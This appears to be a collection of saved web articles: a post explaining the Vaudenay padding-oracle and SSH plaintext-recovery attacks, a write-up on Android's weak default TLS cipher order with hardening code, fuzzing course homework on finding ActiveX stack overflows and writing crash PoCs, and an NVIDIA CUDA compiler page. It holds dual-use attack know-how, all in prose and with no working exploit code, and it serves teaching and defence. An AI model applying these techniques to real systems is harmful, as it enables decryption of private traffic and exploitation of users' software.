the MAC on a message you’ve received, it will _somehow_ inevitably lead to
doom.

Let me give you two popular examples.

## 1\. Vaudenay Attack

This is probably the best-known example of how performing a cryptographic
operation before verifying the MAC on a message can go wrong. In general,
there are three different ways to combine a message authentication code with
an encrypted message:

  1. **Authenticate And Encrypt** : The sender computes a MAC of the plaintext, encrypts the plaintext, and then appends the MAC to the ciphertext. Ek1\(P\) || MACk2\(P\)
  2. **Authenticate Then Encrypt** : The sender computes a MAC of the plaintext, then encrypts both the plaintext and the MAC. Ek1\(P || MACk2\(P\)\)
  3. **Encrypt Then Authenticate** : The sender encrypts the plaintext, then appends a MAC of the ciphertext. Ek1\(P\) || MACk2\(Ek1\(P\)\)

The first often fails badly, the second mostly works, and the third is
generally optimal. The third way, “encrypt-then-authenticate,” is optimal
because it does not violate the doom principle. When you receive a message,
the _very first_ thing you can do is verify the MAC.

By contrast, although “authenticate-then-encrypt” works at first glance, it
does violate the doom principle. In order to verify the MAC, the recipient
first has to _decrypt_ the message, since the MAC is part of the encrypted
payload. Many protocol designers \(including the designers of SSL\) did not
see this as a problem, however, and so decided to test the inevitability of
doom.

Vaudenay’s well-known attack delivers.

In order to decrypt ciphertext that was encrypted in CBC mode, as part of the
decryption process one has to remove the padding that was originally appended
to the plaintext \(in order to make it a multiple of the underlying cipher’s
block size\). There are a number of different padding formats, but the most
popular \(as defined in PKCS\#5 \) is to append the necessary N bytes of a
value of N. So if a block needs to be padded out by 5 bytes, for insance, one
would append 5 bytes of the value 0x05.

When receiving a message, one would decrypt it, look at the value of the last
byte \(call it N\), and then insure that the preceding N-1 bytes also had the
value of N. Should they have an incorrect value, one has encountered a padding
error, and should abort. Since the MAC is part of the encrypted payload, _all_
of this needs to happen before the MAC can be verified. And thus, inevitable
doom.

If you’ll recall, the CBC decryption process looks like this:

<img src='img/Temp2_5500.png' />

So if an attacker were to have a ciphertext message that they would like to
decrypt, arbitrarily modifying the last byte of the second to last ciphertext
block before sending it on to the recipient would have a deterministic effect
on the last byte of the last ciphertext block. And _that’s_ the byte the
receiver is going to look at in order to process the padding.

A receiver processing a message thus has two possible crypto-related error
conditions: a padding error, and a MAC error. Sometimes protocols will emit
different error responses to the sender based on the condition, but even if
they don’t, a sender can often differentiate between the two conditions simply
based on timing.

This means that if an attacker were to take a ciphertext message and
arbitrarily modify the last byte of the second to last block \(R, as mentioned
above\), it would most likely trigger a padding error. This is because the
attacker’s modification tweaks the value of the last byte of the last block,
which is what the receiver is looking to for padding information. Instead of
seeing 5 bytes of 0x05, for instance, the recipient will see 4 bytes of 0x05
and then a random byte of a different value.

If the attacker cycles through enough modifications of R, however, \(and there
are only 8bits worth\) they will eventually trigger a MAC error rather than a
padding error. This is because the last byte of the last block will eventually
get set to 0x01, which is valid padding. At that point the attacker knows that
the _real_ value of the last byte of the last ciphertext block is R xor 1. The
attacker just decrypted a byte\! They can then deterministicly set the last
byte value to 0x02, and do the same thing with the _second_ to last byte of
the second to last block. And so on, until they’ve recovered the entire
message. Doom.

## 2\. SSH Plaintext Recovery

The following plaintext recovery attack against SSH is another particularly
clever exploitation of the doom principle. The SSH packet format is as
follows:

<img src='img/Temp2_5501.png' />

We see that SSH has the same problem as above: in order to verify the MAC, one
first has to decrypt the message. At first glance, however, SSH is safe,
because the type of padding it uses does not make it vulnerable to Vaudenay.
By specifying the padding length in a one byte field at a fixed location prior
to the payload, it slips by.

SSH has another strange feature, however, which is that the _length_ of the
message itself is encrypted. This means that before a recipient can verify the
MAC, they first need to decrypt the first block of the message. Not just so
that they can calculate the MAC over the plaintext, but so that they even know
how long the message is, and how much data to read off the network in order to
decrypt it\!

So before a recipient has verified the MAC on a message they receive, the very
first thing they are going to do is decrypt the first block and interpret the
first four bytes as the length of the message. Glossing over a few details,
this means that if an attacker is holding a ciphertext block they would like
to decrypt \(perhaps from the middle of a previously transmitted message\),
they can simply send it to the recipient, who will decrypt it and parse the
first four bytes as a length. The recipient will then proceed to read that
many bytes off the network before verifiing the MAC. An attacker can then send
one byte at a time, until the recipient encounters a MAC error and closes the
connection. At this point the attacker will know what value the recipient
interpreted that four byte length to be, thus revealing the first four bytes
of plaintext in a ciphertext block. Doom again\!

## In Conclusion

These are two of my favorite examples, but there are actually a number of
other ways in which this has manifested itself. Watch out for it, because even
if these particular cases don’t apply, the general pattern will _somehow_
inevitably cause trouble. It always does.

  * Stay in touch,
  * Follow @moxie

# Why Android SSL was downgraded from AES256-SHA to RC4-MD5 in late 2010

**Created:**| _10/15/2013 3:03:35 PM_  
---|---  
**Updated:**| _10/15/2013 3:03:35 PM_  
**Author:**| __  
**Tags:**| _crypto mobile/embedded android_  
  

### tl;dr

Android is using the combination of horribly broken RC4 and MD5 as the first
default cipher on **all SSL connections**. This impacts all apps that did not
care enough to change the list of enabled ciphers \(i.e. almost all existing
apps\). This post investigates why RC4-MD5 is the default cipher, and why it
replaced better ciphers which were in use prior to the Android 2.3 release in
December 2010.

### Preface

Some time ago, I was adding secure authentication to my APRSdroid app for
Amateur Radio geolocation. While debugging its TLS handshake, I noticed that
RC4-MD5 is leading the client's list of supported ciphers and thus wins the
negotiation. As the task at hand was about authentication, not about secrecy,
I did not care.

However, following speculations about what the NSA can decrypt, xnyhps'
excellent post about XMPP clients \(make sure to read the whole series\)
brought it into my focus again and I seriously asked myself what reasons led
to it.

### Status Quo Analysis

First, I fired up Wireshark, started yaxim on my Android 4.2.2 phone
\(CyanogenMod 10.1.3 on a Galaxy Nexus\) and checked the Client Hello packet
sent. Indeed, RC4-MD5 was first, followed by RC4-SHA1:

<img src='img/Temp2_9449.png' alt='wireshark-xmpp-4.2.2.png' />

To quote from RFC 2246: "_The CipherSuite list, passed from the client to the
server in the client hello message, contains the combinations of cryptographic
algorithms supported by the client in order of the client's preference
\(favorite choice first\)._ " Thus, the server is encouraged to actually use
RC4-MD5 if it is not explicitly forbidden by its configuration.

I crammed out my legacy devices and cross-checked Android 2.2.1 \(CyanogenMod
6.1.0 on HTC Dream\), 2.3.4 \(Samsung original ROM on Galaxy SII\) and 2.3.7
\(CyanogenMod 7 on a Galaxy 5\):

Android 2.2.1| Android 2.3.4, 2.3.7| Android 4.2.2, 4.3  
---|---|---  
DHE-RSA-AES256-SHA| RC4-MD5| RC4-MD5  
DHE-DSS-AES256-SHA| RC4-SHA| RC4-SHA  
AES256-SHA| AES128-SHA| AES128-SHA  
EDH-RSA-DES-CBC3-SHA| DHE-RSA-AES128-SHA| AES256-SHA  
EDH-DSS-DES-CBC3-SHA| DHE-DSS-AES128-SHA| ECDH-ECDSA-RC4-SHA  
DES-CBC3-SHA| DES-CBC3-SHA| ECDH-ECDSA-AES128-SHA  
DES-CBC3-MD5| EDH-RSA-DES-CBC3-SHA| ECDH-ECDSA-AES256-SHA  
DHE-RSA-AES128-SHA| EDH-DSS-DES-CBC3-SHA| ECDH-RSA-RC4-SHA  
DHE-DSS-AES128-SHA| DES-CBC-SHA| ECDH-RSA-AES128-SHA  
AES128-SHA| EDH-RSA-DES-CBC-SHA| ECDH-RSA-AES256-SHA  
RC2-CBC-MD5| EDH-DSS-DES-CBC-SHA| ECDHE-ECDSA-RC4-SHA  
RC4-SHA| EXP-RC4-MD5| ECDHE-ECDSA-AES128-SHA  
RC4-MD5| EXP-DES-CBC-SHA| ECDHE-ECDSA-AES256-SHA  
RC4-MD5| EXP-EDH-RSA-DES-CBC-SHA| ECDHE-RSA-RC4-SHA  
EDH-RSA-DES-CBC-SHA| EXP-EDH-DSS-DES-CBC-SHA| ECDHE-RSA-AES128-SHA  
EDH-DSS-DES-CBC-SHA|  | ECDHE-RSA-AES256-SHA  
DES-CBC-SHA|  | DHE-RSA-AES128-SHA  
DES-CBC-MD5|  | DHE-RSA-AES256-SHA  
EXP-EDH-RSA-DES-CBC-SHA|  | DHE-DSS-AES128-SHA  
EXP-EDH-DSS-DES-CBC-SHA|  | DHE-DSS-AES256-SHA  
EXP-DES-CBC-SHA|  | DES-CBC3-SHA  
EXP-RC2-CBC-MD5|  | ECDH-ECDSA-DES-CBC3-SHA  
EXP-RC2-CBC-MD5|  | ECDH-RSA-DES-CBC3-SHA  
EXP-RC4-MD5|  | ECDHE-ECDSA-DES-CBC3-SHA  
EXP-RC4-MD5|  | ECDHE-RSA-DES-CBC3-SHA  
|  | EDH-RSA-DES-CBC3-SHA  
|  | EDH-DSS-DES-CBC3-SHA  
|  | DES-CBC-SHA  
|  | EDH-RSA-DES-CBC-SHA  
|  | EDH-DSS-DES-CBC-SHA  
|  | EXP-RC4-MD5  
|  | EXP-DES-CBC-SHA  
|  | EXP-EDH-RSA-DES-CBC-SHA  
|  | EXP-EDH-DSS-DES-CBC-SHA  
As can be seen, Android 2.2.1 came with a set of AES256-SHA1 ciphers first,
followed by 3DES and AES128. Android 2.3 **significantly reduced the
security** by removing AES256 and putting the broken RC4-MD5 on the prominent
first place, followed by the not-so-much-better RC4-SHA1.

### Wait... What?

Yes, Android versions before 2.3 were using AES256 > 3DES > AES128 > RC4, and
starting with 2.3 it was now: RC4 > AES128 > 3DES. Also, the recently broken
MD5 suddenly became the favorite MAC \(**Update:** MD5 in TLS is OK, as it is
combining two different variants\).

As Android 2.3 was released in late 2010, speculations about the NSA pouring
money on Android developers to sabotage all of us poor users arose
immediately. I needed to do something, so I wrote a minimal test program
\(APK, source\) and single-stepped it to find the origin of the default cipher
list.

It turned out to be in Android's libcore package,
`NativeCrypto.getDefaultCipherSuites()` which returns a hardcoded String array
starting with `"SSL_RSA_WITH_RC4_128_MD5"`.

### Diving Into the Android Source

Going back on that file's change history revealed interesting things, like the
addition of TLS v1.1 and v1.2 and its almost immediate removal with a
suspicious commit message \(taking place between Android 4.0 and 4.1, possible
reasoning\), added support for Elliptic Curves and AES256 in Android 3.x, and
finally the addition of our hardcoded string list sometime before Android 2.3:

[code]

     public static String[] getDefaultCipherSuites() {
    -       int ssl_ctx = SSL_CTX_new();
    -       String[] supportedCiphers = SSL_CTX_get_ciphers(ssl_ctx);
    -       SSL_CTX_free(ssl_ctx);
    -       return supportedCiphers;
    +        return new String[] {
    +            "SSL_RSA_WITH_RC4_128_MD5",
    +            "SSL_RSA_WITH_RC4_128_SHA",
    +            "TLS_RSA_WITH_AES_128_CBC_SHA",
    ...
    +            "SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA",
    +            "SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA"
    +        };
     }
    
[/code]

The commit message tells us: _We now have a default cipher suite list that is
chose to match RI behavior and priority, not based on OpenSSLs default and
priorities._ Translated into English: before, we just used the list from
OpenSSL \(which was really good\), now we make our own list... ~~with
blackjack\! ...and hookers\!~~ with RC4\! ...and MD5\!

The test suite comes with another hint:

[code]

    // Note these are added in priority order as defined by RI 6 documentation.
    
[/code]

That RI 6 for sure has nothing to do with MI 6, but stands for _Reference
Implementation_ , the Sun \(now Oracle\) Java SDK version 6.

So what the fine Google engineers did to reduce our security was merely to
copy what was there, defined by the inventors of Java\!

### Cipher Order in the Java Runtime

In the Java reference implementation, the code responsible for creating the
cipher list is split into two files. First, a priority-ordered set of ciphers
is constructed in the CipherSuite class:

[code]

    // Definition of the CipherSuites that are enabled by default.
    // They are listed in preference order, most preferred first.
    int p = DEFAULT_SUITES_PRIORITY * 2;
    
    add("SSL_RSA_WITH_RC4_128_MD5", 0x0004, --p, K_RSA, B_RC4_128, N);
    add("SSL_RSA_WITH_RC4_128_SHA", 0x0005, --p, K_RSA, B_RC4_128, N);
    ...
    
[/code]

Then, all enabled ciphers with sufficient priority are added to the list for
`CipherSuiteList.getDefault()`. The cipher list has not experienced relevant
changes since the initial import of Java 6 into Hg, when the OpenJDK was
brought to life.

Going back in time reveals that even in the 1.4.0 JDK, the first one
incorporating the JSEE extension for SSL/TLS, the list was more or less the
same:

Java 1.4.0 \(2002\)| Java 1.4.2\_19, 1.5.0 \(2004\)| Java 1.6 \(2006\)  
---|---|---  
SSL\_RSA\_WITH\_RC4\_128\_SHA| SSL\_RSA\_WITH\_RC4\_128\_MD5|
SSL\_RSA\_WITH\_RC4\_128\_MD5  
SSL\_RSA\_WITH\_RC4\_128\_MD5| SSL\_RSA\_WITH\_RC4\_128\_SHA|
SSL\_RSA\_WITH\_RC4\_128\_SHA  
SSL\_RSA\_WITH\_DES\_CBC\_SHA| TLS\_RSA\_WITH\_AES\_128\_CBC\_SHA|
TLS\_RSA\_WITH\_AES\_128\_CBC\_SHA  
SSL\_RSA\_WITH\_3DES\_EDE\_CBC\_SHA| TLS\_DHE\_RSA\_WITH\_AES\_128\_CBC\_SHA|
TLS\_DHE\_RSA\_WITH\_AES\_128\_CBC\_SHA  
SSL\_DHE\_DSS\_WITH\_DES\_CBC\_SHA| TLS\_DHE\_DSS\_WITH\_AES\_128\_CBC\_SHA|
TLS\_DHE\_DSS\_WITH\_AES\_128\_CBC\_SHA  
SSL\_DHE\_DSS\_WITH\_3DES\_EDE\_CBC\_SHA| SSL\_RSA\_WITH\_3DES\_EDE\_CBC\_SHA|
SSL\_RSA\_WITH\_3DES\_EDE\_CBC\_SHA  
SSL\_RSA\_EXPORT\_WITH\_RC4\_40\_MD5|
SSL\_DHE\_RSA\_WITH\_3DES\_EDE\_CBC\_SHA|
SSL\_DHE\_RSA\_WITH\_3DES\_EDE\_CBC\_SHA  
SSL\_DHE\_DSS\_EXPORT\_WITH\_DES40\_CBC\_SHA|
SSL\_DHE\_DSS\_WITH\_3DES\_EDE\_CBC\_SHA|
SSL\_DHE\_DSS\_WITH\_3DES\_EDE\_CBC\_SHA  
SSL\_RSA\_WITH\_NULL\_MD5| SSL\_RSA\_WITH\_DES\_CBC\_SHA|
SSL\_RSA\_WITH\_DES\_CBC\_SHA  
SSL\_RSA\_WITH\_NULL\_SHA| SSL\_DHE\_RSA\_WITH\_DES\_CBC\_SHA|
SSL\_DHE\_RSA\_WITH\_DES\_CBC\_SHA  
SSL\_DH\_anon\_WITH\_RC4\_128\_MD5| SSL\_DHE\_DSS\_WITH\_DES\_CBC\_SHA|
SSL\_DHE\_DSS\_WITH\_DES\_CBC\_SHA  
SSL\_DH\_anon\_WITH\_DES\_CBC\_SHA| SSL\_RSA\_EXPORT\_WITH\_RC4\_40\_MD5|
SSL\_RSA\_EXPORT\_WITH\_RC4\_40\_MD5  
SSL\_DH\_anon\_WITH\_3DES\_EDE\_CBC\_SHA|
SSL\_RSA\_EXPORT\_WITH\_DES40\_CBC\_SHA|
SSL\_RSA\_EXPORT\_WITH\_DES40\_CBC\_SHA  
SSL\_DH\_anon\_EXPORT\_WITH\_RC4\_40\_MD5|
SSL\_DHE\_RSA\_EXPORT\_WITH\_DES40\_CBC\_SHA|
SSL\_DHE\_RSA\_EXPORT\_WITH\_DES40\_CBC\_SHA  
SSL\_DH\_anon\_EXPORT\_WITH\_DES40\_CBC\_SHA|
SSL\_DHE\_DSS\_EXPORT\_WITH\_DES40\_CBC\_SHA|
SSL\_DHE\_DSS\_EXPORT\_WITH\_DES40\_CBC\_SHA  
|  | TLS\_EMPTY\_RENEGOTIATION\_INFO\_SCSV  
The original list resembles the CipherSpec definition in RFC 2246 from 1999,
sorted numerically with the NULL and 40-bit ciphers moved down. Somewhere
between the first release and 1.4.2, DES was deprecated, TLS was added to the
mix \(bringing in AES\) and MD5 was pushed in front of SHA1 \(which makes one
wonder why\). After that, the only chage was the addition of
`TLS_EMPTY_RENEGOTIATION_INFO_SCSV`, which is not a cipher but just an
information token for the server.

Java 7 added Elliptic Curves and significantly improved the cipher list in
2011, but Android is based on JDK 6, making the effective default cipher list
over 10 years old now.

### Conclusion

The cipher order on the vast majority of Android devices was defined by Sun in
2002 and taken over into the Android project in 2010 as an attempt to improve
compatibility. RC4 is considered problematic since 2001 \(remember WEP?\), MD5
was broken in 2009.

The change from the strong OpenSSL cipher list to a hardcoded one starting
with weak ciphers is either a sign of horrible ignorance, security
incompetence or a clever disguise for an NSA-influenced manipulation - you
decide\! \(This was before BEAST made the other ciphers in TLS _less secure_
in 2011 and RC4 gained momentum again\)

All that notwithstanding, now is the time to get rid of RC4-MD5, in your
applications as well as in the Android core\! Call your representative on the
Google board and let them know\!

### Appendix A: Making your app more secure

If your app is only ever making contact to your own server, feel free to
choose the best cipher that fits into your CPU budget\! Otherwise, it is hard
to give generic advice for an app to support a wide variety of different
servers without producing obscure connection errors.

#### Update: Server-Side Changes

The cipher priority order is defined by the client, but the server has the
option to override it with its own. Server operators should read the excellent
best practices document by SSLLabs.

Further resources for server admins:

  * Mozilla OpSec guide
  * Apache config helper for Debian/Wheezy

#### Changing the client cipher list

For client developers, I am recycling the well-motivated browser cipher suite
proposal written by Brian Smith at Mozilla, even though I share Bruce
Schneier's scepticism on EC cryptography. The following is a subset of Brian's
ciphers which are supported on Android 4.2.2, and the last three ciphers are
named `SSL_` instead of `TLS_` \(**Warning:** BEAST ahead\!\).

[code]

    // put this in a place where it can be reused
    static final String ENABLED_CIPHERS[] = {
            "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA",
            "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA",
            "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA",
            "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA",
            "TLS_DHE_RSA_WITH_AES_128_CBC_SHA",
            "TLS_DHE_RSA_WITH_AES_256_CBC_SHA",
            "TLS_DHE_DSS_WITH_AES_128_CBC_SHA",
            "TLS_ECDHE_RSA_WITH_RC4_128_SHA",
            "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA",
            "TLS_RSA_WITH_AES_128_CBC_SHA",
            "TLS_RSA_WITH_AES_256_CBC_SHA",
            "SSL_RSA_WITH_3DES_EDE_CBC_SHA",
            "SSL_RSA_WITH_RC4_128_SHA",
            "SSL_RSA_WITH_RC4_128_MD5",
        };
    
    // get a new socket from the factory
    SSLSocket s = (SSLSocket)sslcontext.getSocketFactory().createSocket(host, port);
    // IMPORTANT: set the cipher list before calling getSession(),
    // startHandshake() or reading/writing on the socket!
    s.setEnabledCipherSuites(ENABLED_CIPHERS);
    ...
    
[/code]

#### Use TLS v1.2\!

By default, TLS version 1.0 is used, and the more recent protocol versions are
disabled. Some servers used to be broken when contacted using v1.2, so this
approach seemed a good conservative choice over a year ago.

At least for XMPP, an attempt to enforce TLS v1.2 is being made. You can
follow with your own app easily:

[code]

    // put this in a place where it can be reused
    static final String ENABLED_PROTOCOLS[] = {
            "TLSv1.2", "TLSv1.1", "TLSv1"
        };
    
    // put this right before setEnabledCipherSuites()!
    s.setEnabledProtocols(ENABLED_PROTOCOLS);
    
[/code]

#### Use NetCipher\!

NetCipher is an Android library made by the Guardian Project to improve
network security for mobile apps. It comes with a StrongTrustManager to do
more thorough certificate checks, an independent Root CA store, and code to
easily route your traffic through the Tor network using Orbot.

#### Use AndroidPinning\!

AndroidPinning is another Android library, written by Moxie Marlinspike to
allow pinning of server certificates, improving security against government-
scale MitM attacks. Use this if your app is made to communicate with a
specific server\!

#### Use MemorizingTrustManager\!

MemorizingTrustManager by yours truly is yet another Android library. It
allows your app to ask the user if they want to trust a given self-
signed/untrusted certificate, improving support for regular connections to
private services. If you are writing an XMPP client or a private cloud sync
app, use this\!

### Appendix B: Apps that do care

#### Android Browser

Checks of the default Android Browser revealed that at least until Android
2.3.7 the Browser was using the default cipher list of the OS, participating
in the RC4 regression.

As of 4.2.2, the Browser comes with a longer, better, stronger cipher list:

`ECDHE-RSA-AES256-SHA ECDHE-ECDSA-AES256-SHA SRP-DSS-AES-256-CBC-SHA SRP-RSA-
AES-256-CBC-SHA DHE-RSA-AES256-SHA DHE-DSS-AES256-SHA ECDH-RSA-AES256-SHA
ECDH-ECDSA-AES256-SHA AES256-SHA ECDHE-RSA-DES-CBC3-SHA ECDHE-ECDSA-DES-
CBC3-SHA SRP-DSS-3DES-EDE-CBC-SHA SRP-RSA-3DES-EDE-CBC-SHA EDH-RSA-DES-
CBC3-SHA EDH-DSS-DES-CBC3-SHA ECDH-RSA-DES-CBC3-SHA ECDH-ECDSA-DES-CBC3-SHA
DES-CBC3-SHA ECDHE-RSA-AES128-SHA ECDHE-ECDSA-AES128-SHA SRP-DSS-AES-128-CBC-
SHA SRP-RSA-AES-128-CBC-SHA DHE-RSA-AES128-SHA DHE-DSS-AES128-SHA ECDH-RSA-
AES128-SHA ECDH-ECDSA-AES128-SHA AES128-SHA ECDHE-RSA-RC4-SHA ECDHE-ECDSA-
RC4-SHA ECDH-RSA-RC4-SHA ECDH-ECDSA-RC4-SHA RC4-SHA RC4-MD5`

**Update:** Surprisingly, the Android WebView class \(tested on Android
4.0.4\) is also using the better ciphers.

#### Update: Google Chrome

The Google Chrome browser \(version 30.0.1599.82, 2013-10-11\) serves the
following list:

`ECDHE-RSA-AES256-GCM-SHA384 ECDHE-ECDSA-AES256-GCM-SHA384 ECDHE-RSA-
AES256-SHA ECDHE-ECDSA-AES256-SHA DHE-DSS-AES256-GCM-SHA384 DHE-RSA-
AES256-GCM-SHA384 DHE-RSA-AES256-SHA256 DHE-DSS-AES256-SHA256 DHE-RSA-
AES256-SHA DHE-DSS-AES256-SHA AES256-GCM-SHA384 AES256-SHA256 AES256-SHA
ECDHE-RSA-DES-CBC3-SHA ECDHE-ECDSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA EDH-DSS-
DES-CBC3-SHA DES-CBC3-SHA ECDHE-RSA-AES128-GCM-SHA256 ECDHE-ECDSA-AES128-GCM-
SHA256 ECDHE-RSA-AES128-SHA256 ECDHE-ECDSA-AES128-SHA256 ECDHE-RSA-AES128-SHA
ECDHE-ECDSA-AES128-SHA DHE-DSS-AES128-GCM-SHA256 DHE-RSA-AES128-GCM-SHA256
DHE-RSA-AES128-SHA256 DHE-DSS-AES128-SHA256 DHE-RSA-AES128-SHA DHE-DSS-
AES128-SHA AES128-GCM-SHA256 AES128-SHA256 AES128-SHA ECDHE-RSA-RC4-SHA ECDHE-
ECDSA-RC4-SHA RC4-SHA RC4-MD5`

This one comes with AES256-GCM _and_ SHA384\! Good work, Google\! Now please
go and make these the default for the Android runtime\!

#### Send In Your App\!

If you have an Android app with a significant user base that has a better
cipher list, let me know and I will add it to the list.

### Further Reading

  * Real World Crypto 2013 by Adam Langley from Google
  * Why does the web still run on RC4? by Luke Mather
  * SSL/TLS in a Post-PRISM Era
  * CyanogenMod issue
  *  _Comments:HN, Slashdot, Reddit_

# Fuzzing Howto

**Created:**| _6/16/2009 5:44:29 PM_  
---|---  
**Updated:**| _6/16/2009 5:44:49 PM_  
**Author:**| __  
**Tags:**| _Fuzzer Tutorials_  
  

**_Penetration Testing and Vulnerability Analysis_**

Fuzzing 101

It's sad, but you're probably a CS major and have never heard of fuzzing
before \(psssst it's a type of negative software testing\!\). Don't worry
though, because Mike Zusman is here to change that\! Listen to his
presentation on fuzzing and then prepare to find more vulnerabilities than you
know what to do with for homework.

VIDEO1

  * Fuzzing 101 PDF
  * Fuzzing Defined \(from Jared DeMott's BlackHat slides\)

Homework

Your assignment for this section is the following:

  1. Locate a stack overflow in an ActiveX control by fuzzing it with Danzer, AxMan, or COMRaider.  
Choose your target machine carefully. If you run a clean and patched Windows
box, you might have a harder time finding something exploitable. See if you
can run the tools on someone else's machine - preferably a machine with a lot
of garbage software installed on it. Also, COMRaider will more easily find the
low-hanging fruit - the basic stack smash. Run this tool first. If you find
nothing, run AxMan on the same machine.

  2. Determine the exploitability of the overflow by investigating the stack with a debugger.  
COMraider will show you debugger output in its own GUI. Double clicking on the
exceptions will show a stack dump. AxMan will require use of an external
debugger of your choosing. You get extra points if you use WinDBG and run the
\!exploitable plugin.

  3. Reproduce the successful fuzz in a "Proof of Concept" that overwrites EIP with all A's.  
Even though COMraider might show EIP over written, we still want to see a
stand-alone script that demonstrates the vulnerability in a web browser.
Additionally, you should identify the vulnerable DLL on the machine and grab a
copy of it. This will be important if you are not testing on your own machine
- you will want to take the DLL with you for further testing. For more
information on registering DLLs on a Windows box, check out the Regsvr32
documentation.

What to hand in: One DLL, a PoC that crashes the DLL, a screenshot of the
crash in a debugger.

Goals

The goal of the assignment is to introduce you to fuzzing and client-side
attacks, not to develop working exploits against ActiveX objects. To that end,
make sure that your homework demonstrates that you:

  * know how to operate a fuzzer \(step 1\)
  * know how to identify a successful fuzz \(step 2\)
  * know how to reproduce a successful fuzz \(step 3\)
  * are comfortable working with client-side "stuff" \(in this case, ActiveX\)

That's it\!

Walkthrough

If you want a simple walkthrough before starting the assignment or if you've
tried the assignment and can't find a vulnerable ActiveX, you can register the
ActiveX included in this zip file which I guarantee is loaded with exploitable
vulnerabilities. To make things simple, just register it and then point
COMRaider directly at it. The vulnerable function is foobar\(\) and pretty
much anything it accepts will generate a stack overflow. If you don't see
"ACCESS VIOLATION", you're doing something wrong. If you see error messages
saying "Cannot Create Object", you have not registered the DLL correctly.

If you're still having problems finding an ActiveX to fuzz, try some of these:

  * ActiveX 1
  * ActiveX 2
  * ActiveX 3

Reading Material

  * Information on ActiveX
  * Fuzzing Software
  * Registering COM DLL's
  * Jared DeMott - The Evolving Art of Fuzzing \(whitepaper\) \(slides\)

  1. 

<img src='img/Temp2_3346.png' alt='transparent.png' />Post a Comment | <img src='img/Temp2_3346.png' alt='transparent.png' />Share Article
  

  

Fuzzing 102

Most people don't make customized fuzzers for each protocol or technology that
they want to fuzz. Instead, there are a number of general-purpose fuzzers that
let you easily define a protocol spec and fuzz arbitrary targets. Mike Zusman
is going to go over the general-purpose fuzzer that everyone tries to live up
to in this lecture: SPIKE.

VIDEO1

  * Fuzzing 102 PDF

Homework

This week you will be writing your own fuzz module for any one of three
general-purpose network fuzzers \(SPIKE, Sulley installer or SVN, or Peach\)
to identify vulnerabilities in a custom network service. The network service
requires a Java runtime \(Java6 tested\) and starts a listener on a specified
port. If the service appears to halt, try pressing CTRL+C in its command
window to get it going again. It's a bit unstable, sorry about that\!

  * fuzzme network service

Protocol Spec

Authentication

  * USER <username>\r\n

Commands

  * ls\r\n \(no arguments\)
  * whoami \(no arguments\)
  * cat <filename>\r\n

What to hand in

A fuzz module for the network service written using either SPIKE, Sulley, or
Peach and documentation of any of the vulnerabilities you uncovered.

HINT: There are only 3 distinct vulnerabilities in the network service. I will
grade this assignment more on whether it looks like you learned something and
less on the completeness of your assessment of the vulnerabilities, IMHO it's
very hard to find all 3.

Reading Material

  * Fuzzing, CCC 2005 \- Ilja van Sprundel
  * Advantages of Block-based Protocol Analysis for Security Testing \- Dave Aitel
  * Fuzzing Frameworks
  * Security Testing, Testing Experience Magazine, June 2009

<img src='img/Temp2_3346.png' alt='transparent.png' />Post a Comment | <img src='img/Temp2_3346.png' alt='transparent.png' />Share Article
  

  

Getting Started with SPIKE

Notes about SPIKE

SPIKE is notoriously hard to compile and get working, so if you had to change
something to make it work on your computer, post your instructions to the
mailing list so everyone else can benefit.

Instructions for OSX

  * In the makefile, remove:
  *     * ld -share -soname libdlrpc.so -o libdlrpc.o
    * lc dlrpc.o dlargs.o $\(SPIKE\_OBS\)
  * In the makefile, add:
  *     * ld -dynamic -flat\_namespace -bundle -undefined suppress -o libdlrpc.so -lc -ldl dlrpc.o dlargs.o $\(SPIKE\_OBS\)
  * Change LD\_LIBRARY\_PATH to DYLD\_LIBRARY\_PATH
  * Comment out -ldlrpc

Cygwin

Don't even try using SPIKE on Cygwin. If you somehow get it working, it's
because you made considerable patches to SPIKE source files/build scripts
which you should submit to me for extra credit.

If you insist using Windows/Cygwin, try Peach or Sulley as they are both
written in Python and better supported on Windows.

Reading Material

  * Using SPIKE
  * SPIKE 2.9 - Better, faster, stronger \- Dave Aitel
  * Advantages of Block-based Protocol Analysis for Security Testing \- Dave Aitel

<img src='img/Temp2_3346.png' alt='transparent.png' />Post a Comment | <img src='img/Temp2_3346.png' alt='transparent.png' />Share Article
  

  

Getting Started with Sulley

Reading Material

  * Sulley Manual
  * Introducing Sulley, Black Hat USA 2007 - Pedram Amini, Aaron Portnoy
  * Fuzzing Frameworks

<img src='img/Temp2_3346.png' alt='transparent.png' />Post a Comment | <img src='img/Temp2_3346.png' alt='transparent.png' />Share Article
  

  

Getting Started with Peach

Reading Material

  * Installing Peach
  * Tutorial: Network Server Fuzzing
  * Developing Fuzzers with Peach 2.0

# CUDA LLVM Compiler | NVIDIA Developer Zone
**Created:**| _5/11/2012 9:00:51 AM_  
---|---  
**Updated:**| _5/11/2012 9:00:51 AM_  
**Author:**| __  
**Tags:**| _cuda llvm_  
  

# CUDA LLVM Compiler

<img
src='http://developer.nvidia.com/sites/default/files/akamai/cuda/images/LLVM_logo.jpg'
/>NVIDIA's CUDA Compiler \(NVCC\) is based on the widely used LLVM open source
compiler infrastructure. Developers can create or extend programming languages
with support for GPU acceleration using the CUDA Compiler SDK.

##  Add GPU Acceleration To Your Language

<img
src='http://developer.nvidia.com/sites/default/files/akamai/cuda/images/LLVM_Compiler_structure.jpg'
/>

You can add support for GPU acceleration to a new or existing language by
creating a language-specific frontend that compiles your language to the
internal representation \(IR\) used by LLVM. Many language frontends already
exist.

The IR generated by your front end is then optimized for execution on your
target device. You can add support for a new device by developing a processor-
specific backend which will perform the final compilation on the optimized
LLVM IR.

NVIDIA has worked with the LLVM organization to contribute the CUDA compiler
source code changes to the LLVM core and parallel thread execution backend,
enabling full support of NVIDIA GPUs.

##  CUDA Compiler SDK

The SDK contains documentation, examples and tested binaries to get you
started on your own GPU accelerated compiler project.

Some of the items including in the SDK are:

  * NVVM IR specification, a target-specific subset of the LLVM IR 
  * libNVVM library and header files - which can be linked to your executable
  * NVVM IR verifier sample, for verifying parallel enabled IR from language front ends
  * Supports Mac, Windows and some Linux Platforms
  * Frontend code samples for: 
    * R, a statistical computing and graphic programming language
    * Kaleidoscope, a simplied programming language example
